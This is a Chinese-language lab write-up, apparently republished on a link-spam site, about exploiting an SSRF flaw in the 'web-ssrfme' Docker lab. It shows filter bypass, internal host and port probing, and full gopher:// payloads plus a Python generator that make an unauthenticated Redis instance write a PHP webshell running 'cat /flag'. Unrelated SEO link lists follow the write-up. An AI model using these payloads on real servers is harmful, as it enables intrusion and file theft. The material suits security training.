当前位置: 首页 > wzjs >正文

电子商务网站开发基础温州网站升级

电子商务网站开发基础,温州网站升级,网站流量方案,推广最有效的办法目录 SSRF简介 原理 攻击方式 项目部署 发现漏洞 redis 未授权访问攻击 第一次尝试 第二次尝试 第三次尝试 SSRF简介 SSRF(Server - Side Request Forgery,服务器端请求伪造)是一种网络安全漏洞,攻击者利用目标服务器的…

目录

SSRF简介

原理

攻击方式

项目部署

发现漏洞

redis 未授权访问攻击

第一次尝试

第二次尝试

第三次尝试


 

 

SSRF简介

SSRF(Server - Side Request Forgery,服务器端请求伪造)是一种网络安全漏洞,攻击者利用目标服务器的漏洞,构造恶意请求,让服务器代替攻击者去访问其他内部或外部资源,从而实现攻击目的。以下是关于 SSRF 的详细介绍:

原理

  • SSRF 漏洞通常发生在服务器端应用程序中,这些应用程序会根据用户的输入或其他条件发起对其他服务器或资源的请求。攻击者通过构造精心设计的请求,篡改目标服务器的请求参数,使得服务器发送请求到攻击者指定的目标,而这个目标可能是内部网络中的敏感服务器、外部的恶意服务器或者是一些受限制的资源。

攻击方式

 

  • 探测内部网络信息:攻击者可以利用 SSRF 漏洞让目标服务器去访问内部网络中的其他服务器,通过分析响应信息来获取内部网络的拓扑结构、服务器列表、端口开放情况等信息,为进一步攻击做准备。
  • 攻击内部服务:如果内部网络中的某些服务存在漏洞,攻击者可以利用 SSRF 漏洞让目标服务器向这些服务发送恶意请求,从而触发漏洞,实现对内部服务的攻击,如获取敏感数据、执行命令等。
  • 发起中间人攻击:攻击者可以将目标服务器作为中间人,通过 SSRF 漏洞让其向外部服务器发送请求,并在请求过程中篡改请求内容或窃取响应信息,从而实现对通信过程的监听和篡改。
  • 利用第三方服务进行攻击:有些应用程序会调用第三方服务来完成某些功能,攻击者可以利用 SSRF 漏洞篡改对第三方服务的请求,让目标服务器向第三方服务发送恶意请求,利用第三方服务的漏洞来实现攻击目的。

项目部署

首先下载web-ssrfme.zip,然后放到虚拟机内,unzip解压,然后CD到含有docker-compose.yml文件夹目录下输入指令进行拖拽docker镜像

docker-compose up -d

访问网站

发现漏洞

 <?php
highlight_file(__file__);
function curl($url){  $ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0);echo curl_exec($ch);curl_close($ch);
}if(isset($_GET['url'])){$url = $_GET['url'];if(preg_match('/file\:\/\/|dict\:\/\/|\.\.\/|127.0.0.1|localhost/is', $url,$match)){die('No, No, No!');}curl($url);
}
if(isset($_GET['info'])){phpinfo();
}
?>

源码中过滤了file协议、dict协议、127.0.0.1和localhost

但没有过滤http协议和gopher协议我们使用http协议进行内网主机存活探测。

?url=https://www.baidu.com

代码中我们还可以查看phpinfo的信息

?info

查看该页面信息发现当前主机的内网ip为172.18.0.3

探测该网段上存活的主机

?url=172.18.0.1:80

?url=172.18.0.2:80

说明172.17.0.2是内网中存活的另一台主机,并且上面也运行着http服务。但是当前还不能找到攻下这台内网主机的突破口,我们可以使用ssrf扫描一下这个内网主机的端口,这里使用burpsuite:

开始爆破

发现除了80端口有显示,还有6379端口有一个报错,

这是redis的报错,这个错误提示表明在执行 Redis 的GET命令时,传入的参数数量不正确。说明这台内网主机上还运行着redis服务。

redis 未授权访问攻击

接着我们便可以尝试 redis 未授权了,由于这台内网主机上还存在一个http服务,所以我们可以将webshell写入其web目录,然后用ssrf进行访问。

这里我们可以利用gopherus工具,或者利用python代码

第一次尝试

./gopherus.py --exploit redis

当然要将前面的ip改为172.18.0.2,因为这个ip下运行着redis端口为6379

http://172.25.254.145:8091/?url=gopher://172.18.0.2:6379/_*1%0D%0A%248%0D%0Aflushall%0D%0A*3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2420%0D%0A%0A%0A%3C%3Fphp%20phpinfo()%3B%0A%0A%0D%0A*4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A*4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A*1%0D%0A%244%0D%0Asave%0D%0A%0A

猜测路径不是默认路径/var/www/html,可能是其目录下的子文件夹,我们使用burp扫一下都有哪些目录,发现有个upload目录。

访问80端口的upload文件夹,发现是forbidden而不是not found

第二次尝试

我们继续利用工具进行payload生成

发现还是不行,原因是没有进行url编码

第三次尝试

由于浏览器执行代码时会先进行url解码,所以我们需要将其进行url编码

测试,然后访问文件

成功,进入docker中查看该文件

docker exec -it b990fe7e910d /bin/bash

当然还可以利用python代码来实现构造一个利用 Redis 漏洞来执行特定命令的 Gopher 协议的请求 Payload,如下

import urllib.parseprotocol = "gopher://"
ip = "172.18.0.2"  # 运行着redis的内网主机ip
port = "6379"
shell = "\n\n<?php system(\"cat /flag\");?>\n\n"
filename = "aaaa.php"
path = "/var/www/html/upload"
passwd = ""
cmd = ["flushall",f"set 1 {shell.replace(' ', '${IFS}')}",f"config set dir {path}",f"config set dbfilename {filename}","save"
]if passwd:cmd.insert(0, f"AUTH {passwd}")
payload = protocol + ip + ":" + port + "/_"def redis_format(arr):CRLF = "\r\n"redis_arr = arr.split(" ")cmd = ""cmd += "*" + str(len(redis_arr))for x in redis_arr:cmd += CRLF + "$" + str(len(x.replace("${IFS}", " "))) + CRLF + x.replace("${IFS}", " ")cmd += CRLFreturn cmdif __name__ == "__main__":for x in cmd:payload += urllib.parse.quote(redis_format(x))print(payload)

结果:

gopher://172.18.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%248%0D%0Aaaaa.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

同样进行url编码

执行它,同样也在docker下的/var/www/html/upload生成了aaaa.php文件

访问它

成功。

 


文章转载自:

http://QJRYy3se.wfzLt.cn
http://tSuwtxij.wfzLt.cn
http://OCxDNmPt.wfzLt.cn
http://sJ4oI4Zd.wfzLt.cn
http://sGK4LV3G.wfzLt.cn
http://BYu1609U.wfzLt.cn
http://AfsBoUDW.wfzLt.cn
http://Qrg1fmz1.wfzLt.cn
http://gMO9Yaxr.wfzLt.cn
http://U9QvKlpY.wfzLt.cn
http://KOlV69Fz.wfzLt.cn
http://Dzh3H1L4.wfzLt.cn
http://4t8BQafV.wfzLt.cn
http://QqvMmjuS.wfzLt.cn
http://KVLSrk7m.wfzLt.cn
http://dUQzNchV.wfzLt.cn
http://F4KuWEQq.wfzLt.cn
http://10mURftr.wfzLt.cn
http://gnlFqFmZ.wfzLt.cn
http://XwsvyVEk.wfzLt.cn
http://H946bMfw.wfzLt.cn
http://EYnypPFK.wfzLt.cn
http://fw6kMzdL.wfzLt.cn
http://UPbVlPo1.wfzLt.cn
http://hbKmrhdO.wfzLt.cn
http://zW22oTNQ.wfzLt.cn
http://RYDnNjzw.wfzLt.cn
http://oMj5ZvdO.wfzLt.cn
http://jicUab7Q.wfzLt.cn
http://6RyQe7jg.wfzLt.cn
http://www.dtcms.com/wzjs/738659.html

相关文章:

  • 外贸网站建设官网开源微信商城源码
  • 制作哪个网站好网站建设可以自学吗
  • 企业网站总承包建设模式关键步骤中国企业信息网
  • 广告做网站做个外贸网站一般需要多少钱
  • 网站建设福永附近网络公司山东建设信息网站
  • 企业网站的信息内容包括什么河南政务网站建设排名
  • 泉州制作网页的网站最新新闻事件
  • 广州企业网站建设报价电子商务实网站的建设
  • 广州建站外贸贵阳做网站的大公司
  • 优势的seo网站优化排名wordpress 数据迁移
  • 如何设置网站的默认页做减肥餐的网站
  • 湖北省建设主管部门网站人才网站建设标题
  • 静态网站开发课程温州网站建设哪家专业
  • 国内的优秀设计网站兰州网站开发在哪里
  • 广州外贸网站建设公司价格自己怎么做卖东西的网站
  • 建设网站需要多少钱济南兴田德润厉害吗电商的运营推广
  • 成都网站制作公司科蓝品牌广告和效果广告的区别
  • 网络公司网站赏析安徽智能网站建设
  • 网站建设与管理课程介绍竭诚网络网站建设开发
  • 网站标题是关键词吗公司怎么在网上推广
  • 云趣在线企业网站建设做安全宣传的是什么网站
  • 网站代码开发文档模板网站内容结构
  • 百度是不是门户网站门户网站和官网的区别
  • 陕西电商网站建设WordPress广告防屏蔽
  • 东莞寮步网站设计网站建设平台策划
  • 做旅游网站的写手wordpress如何实现微信支付宝
  • 上海平台网站建设哪家好新闻稿发布软文平台
  • 一个企业做网站需要什么资料秦皇岛网站制作价格
  • 宁波住房城乡建设局网站基金从业培训网站
  • 河南省财政厅经济建设网站数字化展厅设计方案